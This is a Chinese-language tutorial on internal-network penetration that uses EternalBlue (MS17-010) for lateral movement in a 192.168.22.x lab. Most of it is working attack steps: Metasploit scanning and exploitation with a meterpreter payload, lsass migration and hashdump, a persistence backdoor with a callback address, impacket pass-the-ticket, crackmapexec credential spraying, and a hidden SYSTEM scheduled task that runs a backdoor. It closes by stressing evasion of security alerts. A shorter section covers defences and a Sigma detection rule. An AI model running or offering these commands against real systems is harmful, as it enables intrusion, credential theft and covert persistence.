实战指南:如何利用CVE-2017-0146(永恒之蓝)在内网中横向移动
内网渗透实战:从漏洞扫描到横向移动的完整攻防演练
1. 内网渗透基础与环境搭建
内网渗透测试的核心在于理解网络边界与权限边界。与传统的Web渗透不同,内网环境通常存在更复杂的信任关系和更严格的安全策略。我们先从基础环境搭建开始:
典型内网测试环境组成:
- 边界服务器(通常为Web服务器):192.168.22.28
- 域控制器(DC):192.168.22.30
- 内网工作站:192.168.22.27/29
- 攻击机(Kali Linux):独立网段
注意:实验环境建议使用VMware或VirtualBox搭建,确保各主机间网络互通但与外网隔离。所有测试应在授权环境下进行。
环境验证常用命令:
# 检查网络连通性 ping 192.168.22.28 # 检查SMB服务开放情况 nmap -p 445 192.168.22.0/242. 漏洞扫描与识别技术
2.1 自动化漏洞扫描
Metasploit框架提供了完善的漏洞扫描模块,针对内网环境需要先建立路由:
# 在已获取的meterpreter会话中 run post/multi/manage/autoroute # 验证路由 run autoroute -p使用专用扫描模块检测MS17-010漏洞:
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.22.27-30 set THREADS 5 run2.2 手动漏洞验证
当自动化工具不可用时,可通过手工方式检测:
# 检查目标系统版本 nmap -sV -O 192.168.22.30 # 测试SMB漏洞 smbclient -L //192.168.22.30 -N常见漏洞特征对照表:
| 漏洞编号 | 影响服务 | 典型特征 |
|---|---|---|
| MS17-010 | SMBv1 | 端口445开放,系统版本为Win7/2008 |
| MS14-068 | Kerberos | 域环境,未安装KB3011780补丁 |
| CVE-2020-1472 | Netlogon | 域控制器,Windows Server 2016/2019 |
3. 横向移动实战技巧
3.1 永恒之蓝漏洞利用
获取初始立足点后,通过MS17-010实现横向移动:
use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.22.30 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit成功利用后的操作流程:
- 获取系统权限后先迁移进程
migrate -N lsass.exe - 提取哈希值
hashdump - 建立持久化后门
run persistence -X -i 60 -p 443 -r 192.168.22.100
3.2 票据传递攻击
当获取域用户凭证后,可尝试票据传递:
# 使用impacket工具包 python3 getTGT.py domain/user:password export KRB5CCNAME=user.ccache python3 psexec.py -k -no-pass domain/administrator@dc.domain.com关键点:票据攻击需要域内有效的TGT票据,且目标系统未启用SMB签名验证
4. 防御策略与检测方案
4.1 基础防护措施
企业级防护方案:
网络层防护:
- 启用SMB签名
- 关闭不必要的135-139、445端口
- 实施VLAN隔离
主机层防护:
# 禁用SMBv1 Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol # 启用LSA保护 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1
4.2 高级威胁检测
异常行为监控指标:
| 行为类型 | 正常情况 | 攻击特征 |
|---|---|---|
| SMB连接 | 内网特定IP | 非常规IP的大量连接 |
| 账号登录 | 工作时间段 | 凌晨时段的域管登录 |
| 票据请求 | 正常TGT生命周期 | 异常的黄金票据请求 |
使用Sigma规则示例:
title: Possible EternalBlue Exploit Attempt description: Detects possible MS17-010 exploit attempts logsource: product: windows service: security detection: selection: EventID: 4656 ObjectName: '\Device\NamedPipe\srvsvc' condition: selection5. 渗透测试方法论进阶
在实际测试中遇到防护措施时,可采用分层突破策略:
信息收集阶段:
# 使用adfind收集域信息 adfind -f "objectclass=computer" name operatingSystem权限提升阶段:
- 本地提权:利用未修补的内核漏洞
- 域提权:查找错误配置的GPO
横向移动阶段:
# 使用crackmapexec进行凭证喷射 crackmapexec smb 192.168.22.0/24 -u user.list -p password.list持久化阶段:
# 创建隐藏计划任务 schtasks /create /tn "UpdateService" /tr "C:\temp\backdoor.exe" /sc minute /mo 30 /ru SYSTEM
在内网渗透过程中,最大的挑战往往不是技术实现,而是如何在不触发安全警报的情况下完成目标。这需要对各类安全产品的检测逻辑有深入理解,并能够灵活组合各种低特征攻击手法
